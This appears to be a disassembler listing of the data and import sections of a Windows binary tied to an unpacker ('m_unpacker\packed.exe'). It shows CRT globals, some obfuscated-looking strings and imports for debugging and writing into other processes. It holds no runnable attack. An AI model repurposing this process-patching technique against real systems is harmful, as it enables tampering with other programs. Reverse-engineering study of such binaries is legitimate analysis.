dword_4F4360	dd 0			; DATA XREF: .text:004B5F72r
					; .text:004B5F7Br ...
dword_4F4364	dd 0A90000h		; DATA XREF: sub_4B45FB+FCr
					; sub_4B45FB+122r ...
dword_4F4368	dd 0ABDEDBh		; DATA XREF: sub_4B45FB+102r
					; .text:004B5268w ...
		align 10h
dword_4F4370	dd 0			; DATA XREF: sub_4B45B1+3r
					; sub_4B45FB+31w ...
; char byte_4F4374[]
byte_4F4374	db 100h	dup(0)		; DATA XREF: sub_4B45C2+3o
					; sub_4B45FB+20Ao ...
dword_4F4474	dd 77E60000h		; DATA XREF: sub_4B5E35+17w
					; sub_4B5E35+21r
dword_4F4478	dd 0			; DATA XREF: sub_4B5E35+3r
					; sub_4B5E35+2Dw ...
		align 10h
dword_4F4480	dd 400000h		; DATA XREF: sub_4B45FB+186r
					; sub_4B48AD+6r ...
dword_4F4484	dd 0			; DATA XREF: sub_4B45FB+224r
					; sub_4B4965+190r ...
byte_4F4488	db 0			; DATA XREF: sub_4B45FB+1C8r
					; sub_4B45FB+1E2r ...
		align 4
dword_4F448C	dd 0			; DATA XREF: sub_4B6C08+37w
					; sub_4B6C08+1EFr ...
dword_4F4490	dd 0			; DATA XREF: sub_4B6C08+2Ew
					; sub_4B6C08+1D6r ...
dword_4F4494	dd 0			; DATA XREF: sub_4B45E9+Bw
					; sub_4B4965+6Cw ...
dword_4F4498	dd 0			; DATA XREF: sub_4B67B0+12r
					; sub_4B67B0+1Ew ...
dword_4F449C	dd 0			; DATA XREF: sub_4B6BB7+1Fw
					; sub_4B6BB7+24r ...
dword_4F44A0	dd 0			; DATA XREF: sub_4B6828+2ABw
					; sub_4B6828+2F5r ...
byte_4F44A4	db 0			; DATA XREF: sub_4B6C08+1Dw
					; sub_4B6C08+115r ...
byte_4F44A5	db 0			; DATA XREF: sub_4B6C08+25w
					; sub_4B7150+Er
		align 4
dword_4F44A8	dd 0			; DATA XREF: sub_4B67B0+Ar
					; sub_4B6C08+6Eo ...
dword_4F44AC	dd 0			; DATA XREF: sub_4B6F14+1E7r
					; sub_4B7150+57w
byte_4F44B0	db 0			; DATA XREF: sub_4B6C08+C7r
					; sub_4B6C08+185w
byte_4F44B1	db 0			; DATA XREF: sub_4B6C08+56w
					; sub_4B6C08+8Fr ...
		align 8
dword_4F44B8	dd 0			; DATA XREF: .text:004BAF0Ew
					; .text:004BB066r
		dd 1Dh dup(0)
dword_4F4530	dd 0			; DATA XREF: .text:004BAE7Bw
					; .text:004BAFBBr ...
		dd 1Dh dup(0)
; void *dword_4F45A8
dword_4F45A8	dd 0			; DATA XREF: sub_4BDA71+23r
					; sub_4BDAA4+33r ...
dword_4F45AC	dd 0			; DATA XREF: .text:004BDE27o
					; .text:004BDEB5o
dword_4F45B0	dd 6 dup(0)		; DATA XREF: .text:004B7D82o
					; .text:loc_4B82A1o ...
dword_4F45C8	dd 0			; DATA XREF: .text:004BADE0w
					; .text:004BAE56r ...
		dd 1Dh dup(0)
dword_4F4640	dd 0			; DATA XREF: .text:004BAEADw
					; .text:004BAFE0r ...
		dd 1Fh dup(0)
dword_4F46C0	dd 0			; DATA XREF: .text:004BAEDCw
					; .text:004BB00Dr ...
		dd 1Dh dup(0)
dword_4F4738	dd 0F41B764h		; DATA XREF: sub_4B73FA+8w
					; .text:004B7F02r ...
dword_4F473C	dd 0			; DATA XREF: sub_4B45FB+284w
					; sub_4B45FB+291w ...
byte_4F4740	db 0			; DATA XREF: .text:004B5C06w
byte_4F4741	db 0			; DATA XREF: .text:004B861Cw
					; .text:004B9E81r ...
byte_4F4742	db 0			; DATA XREF: .text:004B97A2r
					; .text:004BA0DEr ...
byte_4F4743	db 0			; DATA XREF: .text:004B86A9w
					; .text:004BAC81r
byte_4F4744	db 0			; DATA XREF: .text:004BD617r
					; .text:004BD620w
		align 4
dword_4F4748	dd 0			; DATA XREF: sub_4B742A+AFr
					; sub_4B742A+BEr ...
dword_4F474C	dd 0			; DATA XREF: .text:004B7837r
					; .text:004B8283r ...
dword_4F4750	dd 0			; DATA XREF: .text:004B7CE3r
					; .text:004B7D38r ...
dword_4F4754	dd 0			; DATA XREF: sub_4B742A+9r
					; sub_4B742A+21r ...
		dd 0
dword_4F475C	dd 0			; DATA XREF: .text:004B75FAw
dword_4F4760	dd 0			; DATA XREF: .text:004B7E9Fw
					; .text:004B7EB5w ...
dword_4F4764	dd 0			; DATA XREF: .text:004B8D63w
					; .text:004B913Er ...
dword_4F4768	dd 0			; DATA XREF: .text:004B75ADw
					; .text:004B764Cr ...
dword_4F476C	dd 0			; DATA XREF: .text:004B9F02r
					; .text:004BC2BBr ...
dword_4F4770	dd 0			; DATA XREF: .text:004B7663w
					; .text:004B77D9r ...
dword_4F4774	dd 0			; DATA XREF: .text:004B76A7w
					; .text:004B77E8r ...
dword_4F4778	dd 0			; DATA XREF: .text:004B76CFw
					; .text:004B77F8r ...
dword_4F477C	dd 0			; DATA XREF: .text:004B772Cw
					; .text:004B7875r ...
byte_4F4780	db 0			; DATA XREF: .text:004B7CC2r
					; .text:004B7D19r ...
byte_4F4781	db 0			; DATA XREF: .text:004BCC5Fw
					; .text:004BD13Fr
		align 4
dword_4F4784	dd 0			; DATA XREF: .text:004BACDBr
					; .text:004BAD15w ...
dword_4F4788	dd 0			; DATA XREF: .text:loc_4BAD9Cw
dword_4F478C	dd 0			; DATA XREF: sub_4BDAA4+Dr
					; sub_4BDAA4+59r ...
dword_4F4790	dd 0			; DATA XREF: sub_4BDB47+27r
					; sub_4BDB47+2Fr ...
dword_4F4794	dd 0Ah dup(0)		; DATA XREF: .text:004BE4E3o
					; .text:004BE4F5o
byte_4F47BC	db 0			; DATA XREF: .text:004BE10Fr
					; sub_4BE283+22r
byte_4F47BD	db 0			; DATA XREF: .text:004BE11Br
					; sub_4BE283+16r
		align 10h
; char byte_4F47C0
byte_4F47C0	db 0			; DATA XREF: .text:004BE0E3r
					; .text:004BE14Co ...
		align 4
		dd 40h dup(0)
; char byte_4F48C4
byte_4F48C4	db 43h			; DATA XREF: sub_4BE1B4+9r
					; sub_4BE1B4:loc_4BE1D4o ...
aM_unpackerPack	db ':\m_unpacker\packed-2.DbgLog',0
		align 4
		dd 39h dup(0)
dword_4F49C8	dd 0			; DATA XREF: .text:004BE104r
					; .text:004BE161w ...
dword_4F49CC	dd 0			; DATA XREF: .data:004EDE70o
dword_4F49D0	dd 0			; DATA XREF: .data:004EDE8Co
dword_4F49D4	dd 0			; DATA XREF: __lseek_0+38w
					; __lseek_0+89w ...
dword_4F49D8	dd 0			; DATA XREF: __lseek_0:loc_4CD348w
					; __write_0+11Bw ...
		align 10h
dword_4F49E0	dd 0A28h		; DATA XREF: start+52w
dword_4F49E4	dd 501h			; DATA XREF: start+49w
dword_4F49E8	dd 5			; DATA XREF: start+3Ew
dword_4F49EC	dd 1			; DATA XREF: start+30w
dword_4F49F0	dd 1			; DATA XREF: __setargv_0+91w
dword_4F49F4	dd 970B20h		; DATA XREF: __setargv_0+89w
		dd 0
; void *dword_4F49FC
dword_4F49FC	dd 970B48h		; DATA XREF: __setenvp_0+44w
					; _getenv_0+9r	...
dword_4F4A00	dd 0			; DATA XREF: ___crtsetenv_0+36r
dword_4F4A04	dd 0			; DATA XREF: _getenv_0+16r
					; ___wtomb_environ_0+4r ...
		dd 0
off_4F4A0C	dd offset aCM_unpackerP_0 ; DATA XREF: __setargv_0+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4F4A14	db 0			; DATA XREF: _doexit_0+2Dw
					; ___endstdio_0+5r
		align 4
dword_4F4A18	dd 0			; DATA XREF: _doexit_0+27w
dword_4F4A1C	dd 0			; DATA XREF: _doexit_0+4r
					; _doexit_0+8Bw
dword_4F4A20	dd 0			; DATA XREF: sub_4C935C+4r
					; sub_4C935C+9w ...
		align 8
dword_4F4A28	dd 0			; DATA XREF: _time_0+5Er _time_0+A4w
		align 10h
word_4F4A30	dw 0			; DATA XREF: _time_0+55r _time_0+9Ao
word_4F4A32	dw 0			; DATA XREF: _time_0+48r
		db 2 dup(0)
word_4F4A36	dw 0			; DATA XREF: _time_0+3Br
word_4F4A38	dw 0			; DATA XREF: _time_0+2Er
word_4F4A3A	dw 0			; DATA XREF: _time_0+21r
		align 10h
; char *dword_4F4A40
dword_4F4A40	dd 0			; DATA XREF: start+84w
					; __setenvp_0:loc_4CB783r ...
		align 8
dword_4F4A48	dd 0			; DATA XREF: __amsg_exit_0r
					; _fast_error_exit_0r ...
		align 10h
dword_4F4A50	dd 0			; DATA XREF: __tzset_0+11w
					; __tzset_0+63w ...
		align 8
dword_4F4A58	dd 0			; DATA XREF: __tzset_0+33o
					; __tzset_0+46r
dword_4F4A5C	dd 10h dup(0)		; DATA XREF: __tzset_0+C1o
word_4F4A9C	dw 0			; DATA XREF: __isindst_0+A8r
word_4F4A9E	dw 0			; DATA XREF: __tzset_0+54r
					; __isindst_0+DBr ...
word_4F4AA0	dw 0			; DATA XREF: __isindst_0+CAr
word_4F4AA2	dw 0			; DATA XREF: __isindst_0+D3r
					; __isindst_0:loc_4CB20Br
word_4F4AA4	dw 0			; DATA XREF: __isindst_0+C0r
word_4F4AA6	dw 0			; DATA XREF: __isindst_0+B8r
word_4F4AA8	dw 0			; DATA XREF: __isindst_0+B0r
word_4F4AAA	dw 0			; DATA XREF: __isindst_0+9Er
dword_4F4AAC	dd 0			; DATA XREF: __tzset_0+4Br
dword_4F4AB0	dd 10h dup(0)		; DATA XREF: __tzset_0+FBo
word_4F4AF0	dw 0			; DATA XREF: __isindst_0+46r
word_4F4AF2	dw 0			; DATA XREF: __tzset_0:loc_4CAF32r
					; __isindst_0+78r ...
word_4F4AF4	dw 0			; DATA XREF: __isindst_0+67r
word_4F4AF6	dw 0			; DATA XREF: __isindst_0+70r
					; __isindst_0:loc_4CB19Dr
word_4F4AF8	dw 0			; DATA XREF: __isindst_0+5Dr
word_4F4AFA	dw 0			; DATA XREF: __isindst_0+55r
word_4F4AFC	dw 0			; DATA XREF: __isindst_0+4Dr
word_4F4AFE	dw 0			; DATA XREF: __isindst_0+3Er
dword_4F4B00	dd 0			; DATA XREF: __tzset_0+80r
; char *dword_4F4B04
dword_4F4B04	dd 0			; DATA XREF: __tzset_0+132r
					; __tzset_0:loc_4CB007r ...
dword_4F4B08	dd 0			; DATA XREF: ___tzset_0r ___tzset_0+Ew
		align 10h
dword_4F4B10	dd 0			; DATA XREF: _gmtime+EBw _gmtime+F1o
dword_4F4B14	dd 0			; DATA XREF: _gmtime+DAw
dword_4F4B18	dd 0			; DATA XREF: _gmtime+C8w
dword_4F4B1C	dd 0			; DATA XREF: _gmtime+A4w
dword_4F4B20	dd 0			; DATA XREF: _gmtime+98w
dword_4F4B24	dd 0			; DATA XREF: _gmtime:loc_4CB4F3w
dword_4F4B28	dd 0			; DATA XREF: _gmtime+BCw
dword_4F4B2C	dd 0			; DATA XREF: _gmtime+6Aw
dword_4F4B30	dd 0			; DATA XREF: _gmtime+E4w
dword_4F4B34	dd 0			; DATA XREF: __XcptFilter_0+3Ar
					; __XcptFilter_0+46w ...
aCM_unpackerP_0	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv_0:loc_4CB841o
					; .data:off_4F4A0Co
		align 4
		dd 3Ah dup(0)
dword_4F4C3C	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA_0+2r
					; ___crtGetEnvironmentStringsA_0+23w ...
dword_4F4C40	dd 0			; DATA XREF: __FF_MSGBANNER_0+21r
dword_4F4C44	dd 0			; DATA XREF: sub_4CA24A:loc_4CA2CAr
					; _malloc_0r ...
dword_4F4C48	dd 0			; DATA XREF: sub_4CCD93+4Bw
					; sub_4CCEAC+2Dw ...
dword_4F4C4C	dd 0			; DATA XREF: __getbuf_0w
dword_4F4C50	dd 1			; DATA XREF: ___crtGetStringTypeA_0+26r
					; ___crtGetStringTypeA_0:loc_4CD7EFw
dword_4F4C54	dd 2 dup(0)		; DATA XREF: unknown_libname_20+Co
					; __strnicmp+17o
; int dword_4F4C5C
dword_4F4C5C	dd 0			; DATA XREF: _wctomb_0:loc_4CD63Cr
					; ___crtGetStringTypeA_0+7Br ...
		dd 3 dup(0)
dword_4F4C6C	dd 0			; DATA XREF: __tzset_0+C7r
					; __tzset_0+101r ...
		dd 0
dword_4F4C74	dd 1			; DATA XREF: __setmbcp_0:loc_4CDC59r
					; _getSystemCP_0+4w ...
dword_4F4C78	dd 0			; DATA XREF: ___crtMessageBoxA_0+3r
					; ___crtMessageBoxA_0+2Ew ...
dword_4F4C7C	dd 0			; DATA XREF: ___crtMessageBoxA_0+43w
					; ___crtMessageBoxA_0:loc_4CE1E7r
dword_4F4C80	dd 0			; DATA XREF: ___crtMessageBoxA_0+4Aw
					; ___crtMessageBoxA_0+60r
dword_4F4C84	dd 1			; DATA XREF: ___crtLCMapStringA_0+28r
					; ___crtLCMapStringA_0+4Cw ...
dword_4F4C88	dd 0			; DATA XREF: ___crtCompareStringA_0+28r
					; ___crtCompareStringA_0+48w ...
dword_4F4C8C	dd 0			; DATA XREF: ___crtLCMapStringW_0+28r
					; ___crtLCMapStringW_0+4Cw ...
dword_4F4C90	dd 0			; DATA XREF: ___crtGetStringTypeW_0+26r
					; ___crtGetStringTypeW_0:loc_4CF6B7w
dword_4F4C94	dd 4E4h			; DATA XREF: __setmbcp_0+14r
					; __setmbcp_0+65w ...
		align 10h
dword_4F4CA0	dd 3 dup(0)		; DATA XREF: __setmbcp_0+123o
					; __setmbcp_0+171o ...
dword_4F4CAC	dd 0			; DATA XREF: __setmbcp_0+108w
					; __setmbcp_0+15Dw ...
		dd 4 dup(0)
byte_4F4CC0	db 0			; DATA XREF: _setSBUpLow_0:loc_4CDE29w
					; _setSBUpLow_0:loc_4CDE46w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4F4DC0	db 0			; DATA XREF: __setmbcp_0+5Co
					; __setmbcp_0+AFo ...
byte_4F4DC1	db 0			; DATA XREF: _parse_cmdline_0+3Fr
					; _parse_cmdline_0+84r	...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4F4EC4	dd 0			; DATA XREF: __setmbcp_0+6Ew
					; __setmbcp_0+12Bw ...
dword_4F4EC8	dd 971110h		; DATA XREF: ___initstdio_0+28w
					; ___initstdio_0+41w ...
		dd 5 dup(0)
dword_4F4EE0	dd 400h	dup(0)		; DATA XREF: .data:off_4F1780o
					; .data:004F1788o
; size_t Size
Size		dd 200h			; DATA XREF: ___initstdio_0r
					; ___initstdio_0:loc_4CD591w ...
dword_4F5EE4	dd 0			; DATA XREF: ___sbh_heap_init_0+3Cw
					; ___sbh_alloc_new_region_0+5r	...
dword_4F5EE8	dd 0			; DATA XREF: sub_4CC125+23Ar
					; sub_4CC125+25Ar ...
dword_4F5EEC	dd 0			; DATA XREF: ___sbh_heap_init_0+31w
					; sub_4CC125+311w ...
; void *dword_4F5EF0
dword_4F5EF0	dd 0			; DATA XREF: ___sbh_heap_init_0+21w
					; sub_4CC125+22Dr ...
dword_4F5EF4	dd 0			; DATA XREF: ___sbh_heap_init_0+28w
					; ___sbh_find_block_0r	...
dword_4F5EF8	dd 0			; DATA XREF: ___sbh_heap_init_0+15w
					; ___sbh_find_block_0+8r ...
dword_4F5EFC	dd 0			; DATA XREF: sub_4CA24A+35r
					; sub_4CA3A2+Fr ...
dword_4F5F00	dd 970000h		; DATA XREF: sub_4CA24A+6Er
					; sub_4CA2FB+5Ar ...
dword_4F5F04	dd 1			; DATA XREF: sub_4CA24A+28r
					; sub_4CA2FB+Cr ...
		dd 3 dup(0)
		dd 40E8CA98h, 0CACCD2D8h, 40CAC440h
dword_4F5F20	dd 970650h		; DATA XREF: __flsbuf_0+B1r
					; __ioinit_0:loc_4CBBC9w ...
aS@@cF@UFc@@S@@	db 'èÒÌêØ@ØÒÖÊ@æêÚÚÊä@ÌØÞîÊäæ@ÂÜÈ@ÈÊÂèÐ@ØÒÖÊ@ÂêèêÚÜ@ØÊÂìÊæÊä@',0
					; DATA XREF: __ioinit_0+92o
		align 10h
		dd 5 dup(0)
aVMhLl@aD	db '‚ÚÂÈÒØØÞ\¬h\ll\@ êÄØÒÆ\„êÒÈ',0
		dd 4 dup(0)
		dd 0AA000000h, 0C6C2A0DCh, 40C8CA96h, 0C6C2E486h, 40C8CA96h
		dd 7440F284h, 40404040h, 0E0CAE8E6h, 0E8DCCAD0h, 4040D0CAh
		dd 0CC40404Ch, 4040F2D8h, 40404040h, 6E606064h,	5C64605Ch
		dd 64406E62h, 60607468h, 0E0E0C290h, 606440F2h,	86406E60h
		dd 0C2DCD2D0h, 0EECA9C40h, 0C2CAB240h, 4240E4h,	1000000h
		dd 58A402F6h, 0BA011113h, 0CA159C55h, 70A8D378h, 3 dup(0)
dword_4F6020	dd 20h			; DATA XREF: __ioinit_0+26w
					; __ioinit_0:loc_4CBC33r ...
dword_4F6024	dd 142340h		; DATA XREF: start+7Aw	__wincmdln_0+Fr ...
dword_4F6028	dd 0			; DATA XREF: sub_4C975E:loc_4C97BEw
					; sub_4C975E+6Dw ...
dword_4F602C	dd 0			; DATA XREF: __expandtime+4Cw
					; __expandtime+77w ...
dword_4F6030	dd 1			; DATA XREF: __setenvp_0+ADw
					; _getenv_0r
dword_4F6034	dd 1			; DATA XREF: __wincmdln_0r
					; __setenvp_0+3r ...
dword_4F6038	dd 0			; DATA XREF: _doexit_0+3Er
dword_4F603C	dd 0			; DATA XREF: _doexit_0+35r
					; _doexit_0+57r
dword_4F6040	dd 0			; DATA XREF: __cinit_0r
		dd 0F60C0h, 2 dup(0)
		dd 0F6846h, 0ED02Ch, 0F6268h, 2	dup(0)
		dd 0F6B2Ch, 0ED1D4h, 0F6094h, 2	dup(0)
		dd 0F6BD4h, 0ED000h, 5 dup(0)
		dd 0F6B38h, 0F6B56h, 0F6B68h, 0F6B78h, 0F6B84h,	0F6B94h
		dd 0F6BA4h, 0F6BAEh, 0F6BBEh, 0F6B44h, 0
		dd 0F63F8h, 0F6408h, 0F6418h, 0F6426h, 0F6434h,	0F6444h
		dd 0F645Ah, 0F646Ah, 0F647Ch, 0F648Eh, 0F64A2h,	0F64B0h
		dd 0F64C6h, 0F64DAh, 0F64F0h, 0F64FEh, 0F6518h,	0F652Ah
		dd 0F653Ah, 0F654Ch, 0F655Ch, 0F656Ch, 0F657Ch,	0F6590h
		dd 0F65A4h, 0F65B6h, 0F65C8h, 0F65DAh, 0F65F4h,	0F6604h
		dd 0F661Ah, 0F662Ah, 0F6638h, 0F664Eh, 0F665Ah,	0F6668h
		dd 0F6676h, 0F6682h, 0F6694h, 0F66A6h, 0F66B8h,	0F66CEh
		dd 0F66E2h, 0F66F4h, 0F670Ah, 0F671Eh, 0F6732h,	0F63EAh
		dd 0F6756h, 0F676Ch, 0F677Ch, 0F678Eh, 0F67A0h,	0F67B2h
		dd 0F67C2h, 0F67D4h, 0F67E8h, 0F67FEh, 0F6812h,	0F6828h
		dd 0F6836h, 0F6DF6h, 0F6DE2h, 0F6DD2h, 0F6DC2h,	0F6DB2h
		dd 0F6DA6h, 0F6D9Ch, 0F6D90h, 0F6E08h, 0F6D7Eh,	0F6D6Ch
		dd 0F6D56h, 0F6D44h, 0F6D36h, 0F6D2Ah, 0F6D1Ch,	0F6D0Eh
		dd 0F6D00h, 0F6CF2h, 0F6CE2h, 0F6CD0h, 0F6CB6h,	0F6C9Eh
		dd 0F6C84h, 0F6C6Ah, 0F6C4Eh, 0F6C42h, 0F6C36h,	0F6C28h
		dd 0F6C18h, 0F6BFEh, 0F6BF2h, 0F6BDEh, 0F63E2h,	0F63CAh
		dd 0F63B2h, 0F63A2h, 0F6386h, 0F6370h, 0F635Ah,	0F6346h
		dd 0F6330h, 0F6746h, 0F631Ch, 0
		dd 0F6B18h, 0F6B0Ah, 0F6AFEh, 0F6AEAh, 0F6ADEh,	0F6AD0h
		dd 0F6AC2h, 0F6AB6h, 0F6AAAh, 0F6A96h, 0F6A82h,	0F6A76h
		dd 0F6A64h, 0F6A56h, 0F6A38h, 0F6A2Ah, 0F6A1Ah,	0F6A0Ch
		dd 0F69FEh, 0F69F0h, 0F69DCh, 0F69CCh, 0F69BEh,	0F69AEh
		dd 0F699Ch, 0F698Ch, 0F697Ah, 0F696Ch, 0F695Ah,	0F6948h
		dd 0F6936h, 0F6924h, 0F6908h, 0F68F8h, 0F68E8h,	0F68C4h
		dd 0F68B0h, 0F68A2h, 0F6890h, 0F6880h, 0F6870h,	0F6860h
		dd 0F6854h, 0F68D8h, 0
		db  4Eh	; N
		db 1, 47h, 65h
aTshortpathname	db 'tShortPathNameA',0
		db  24h	; $
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 14Fh
aGetshortpathna	db 'GetShortPathNameW',0
		dw 125h
aGetmodulefilen	db 'GetModuleFileNameW',0
		align 10h
		db 0F8h	; ø
		align 2
aGetcurrentproc	db 'GetCurrentProcessId',0
		dw 1AAh
aInitializecrit	db 'InitializeCriticalSection',0
		dw 175h
aGetversionexa	db 'GetVersionExA',0
		dw 1C1h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aF		db 'f',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 296h
aSleep		db 'Sleep',0
		db 1Bh,0
aClosehandle	db 'CloseHandle',0
aJ_0		db 'J',0
aCreatethread	db 'CreateThread',0
		align 4
		db  93h	; “
		db 1, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db  8Ch	; Œ
		db 1, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 181h
aGlobalalloc	db 'GlobalAlloc',0
		db  6Dh	; m
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db 0D2h	; Ò
		db 2, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 1B5h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 17Fh
aGlobaladdatoma	db 'GlobalAddAtomA',0
		align 4
		db  80h	; €
		db 1, 47h, 6Ch
aObaladdatomw	db 'obalAddAtomW',0
		align 2
		dw 126h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 188h
aGlobalfree	db 'GlobalFree',0
		align 10h
		db  89h	; ‰
		db 1, 47h, 6Ch
aObalgetatomnam	db 'obalGetAtomNameA',0
		align 2
		dw 183h
aGlobaldeleteat	db 'GlobalDeleteAtom',0
		align 2
		dw 18Ah
aGlobalgetatomn	db 'GlobalGetAtomNameW',0
		align 10h
		db '±',0
aFreeconsole	db 'FreeConsole',0
		dw 109h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db 0C3h	; Ã
		db 2, 56h, 69h
aRtualprotect	db 'rtualProtect',0
		align 2
		dw 2BBh
aVirtualalloc	db 'VirtualAlloc',0
		align 2
		dw 13Eh
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  1Ah
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
		db 0C2h	; Â
		db 1, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  71h	; q
		db 2, 53h, 65h
aTlasterror_0	db 'tLastError',0
		align 4
		db  87h	; ‡
		db 2, 53h, 65h
aTthreadpriorit	db 'tThreadPriority',0
		dd 654700F9h, 72754374h, 746E6572h, 65726854h, 6461h, 72430044h
		dd 65746165h, 636F7250h, 41737365h, 0CA0000h, 43746547h
		dd 616D6D6Fh, 694C646Eh, 41656Eh, 65470150h, 61745374h
		dd 70757472h, 6F666E49h, 2620041h
aSetenvironme_0	db 'SetEnvironmentVariableA',0
		db  25h	; %
		db 2, 52h, 65h
aLeasemutex	db 'leaseMutex',0
		align 4
		db 0CEh	; Î
		db 2, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
a?		db '?',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 1EDh
aOpenmutexa	db 'OpenMutexA',0
		align 4
		db 0FAh	; ú
		align 2
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 2
		dw 218h
aReadfile	db 'ReadFile',0
		align 2
		dw 112h
aGetfilesize	db 'GetFileSize',0
a4		db '4',0
aCreatefilea	db 'CreateFileA',0
aR_0		db '',0
aFindclose	db 'FindClose',0
aF_0		db '”',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 4
aC_3		db '—',0
aFindfirstfilew	db 'FindFirstFileW',0
		align 2
		dw 2C7h
aVirtualqueryex	db 'VirtualQueryEx',0
		align 4
		db  0Bh
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 21Ch
aReadprocessmem	db 'ReadProcessMemory',0
		dw 2B0h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db '%',0
aContinuedebuge	db 'ContinueDebugEvent',0
		align 2
		dw 283h
aSetthreadconte	db 'SetThreadContext',0
		align 2
		dw 167h
aGetthreadconte	db 'GetThreadContext',0
		align 2
		dw 2CBh
aWaitfordebugev	db 'WaitForDebugEvent',0
		dw 298h
aSuspendthread	db 'SuspendThread',0
aP_1		db 'P',0
aDebugactivepro	db 'DebugActiveProcess',0
		align 4
		db  2Ch	; ,
		db 2, 52h, 65h
aSumethread	db 'sumeThread',0
		align 4
aE_2		db 'E',0
aCreateprocessw	db 'CreateProcessW',0
		align 2
		db 'Ë',0
aGetcommandline	db 'GetCommandLineW',0
		db  51h	; Q
		db 1, 47h, 65h
aTstartupinfow	db 'tStartupInfoW',0
		dw 1D6h
aMapviewoffile	db 'MapViewOfFile',0
aC_4		db 'c',0
aDuplicatehandl	db 'DuplicateHandle',0
		db 0F7h	; ÷
		align 2
aGetcurrentpr_0	db 'GetCurrentProcess',0
a5		db '5',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 2C4h
aVirtualprotect	db 'VirtualProtectEx',0
		align 2
		dw 2E9h
aWriteprocessme	db 'WriteProcessMemory',0
		align 4
		db '}',0
aExitprocess	db 'ExitProcess',0
		dw 11Bh
aGetlocaltime	db 'GetLocalTime',0
		align 2
aKernel32_dll_2	db 'KERNEL32.dll',0
		align 4
		db  8Fh	; 
		db 1, 49h, 73h
aWindow_0	db 'Window',0
		align 10h
		db 0DEh	; Þ
		db 1, 50h, 6Fh
aStmessagea	db 'stMessageA',0
		align 10h
		db 0DFh	; ß
		db 1, 50h, 6Fh
aStmessagew	db 'stMessageW',0
		align 10h
		db 0DAh	; Ú
		db 1, 50h, 61h
aCkddelparam	db 'ckDDElParam',0
		db  91h	; ‘
		db 1, 49h, 73h
aWindowunicode	db 'WindowUnicode',0
		db 'Ð',0
aEnumwindows	db 'EnumWindows',0
		db '•',0
aDispatchmessag	db 'DispatchMessageA',0
		align 4
		db  82h	; ‚
		db 2, 54h, 72h
aAnslatemessage	db 'anslateMessage',0
		align 4
		db 0DCh	; Ü
		db 1, 50h, 65h
aEkmessagea	db 'ekMessageA',0
		align 4
		db  14h
		db 2, 53h, 65h
aNdmessagea	db 'ndMessageA',0
		align 4
		db  19h
		db 2, 53h, 65h
aNdmessagew	db 'ndMessageW',0
		align 4
		db  62h	; b
		db 1, 47h, 65h
aTwindowthreadp	db 'tWindowThreadProcessId',0
		align 4
aY		db 'Y',0
aCreatewindowex	db 'CreateWindowExA',0
		dw 1F2h
aRegisterclassa	db 'RegisterClassA',0
		align 4
aZ		db 'Z',0
aCreatewindow_0	db 'CreateWindowExW',0
		dw 1F5h
aRegisterclassw	db 'RegisterClassW',0
		align 4
		db  9Ah	; š
		db 1, 4Ch, 6Fh
aAdcursora	db 'adCursorA',0
aD_1		db '„',0
aDefwindowproca	db 'DefWindowProcA',0
		align 4
		db 'Ü',0
aFreeddelparam	db 'FreeDDElParam',0
		db  8Ah	; Š
		db 2, 55h, 6Eh
aPackddelparam	db 'packDDElParam',0
		dw 16Fh
aInsendmessage	db 'InSendMessage',0
		dw 1BEh
aMessageboxa_1	db 'MessageBoxA',0
aO		db 'Ž',0
aDestroywindo_0	db 'DestroyWindow',0
		db 0A4h	; ¤
		db 2, 57h, 61h
aItforinputidle	db 'itForInputIdle',0
		align 10h
		db 'Õ',0
aFindwindowa_0	db 'FindWindowA',0
		dw 1ACh
aLoadstringw	db 'LoadStringW',0
		db 0ABh	; «
		db 1, 4Ch, 6Fh
aAdstringa	db 'adStringA',0
		dw 291h
aUpdatewindow	db 'UpdateWindow',0
		align 2
		dw 26Ah
aShowwindow	db 'ShowWindow',0
		align 4
		db 'L',0
aCreatedialogin	db 'CreateDialogIndirectParamA',0
		align 2
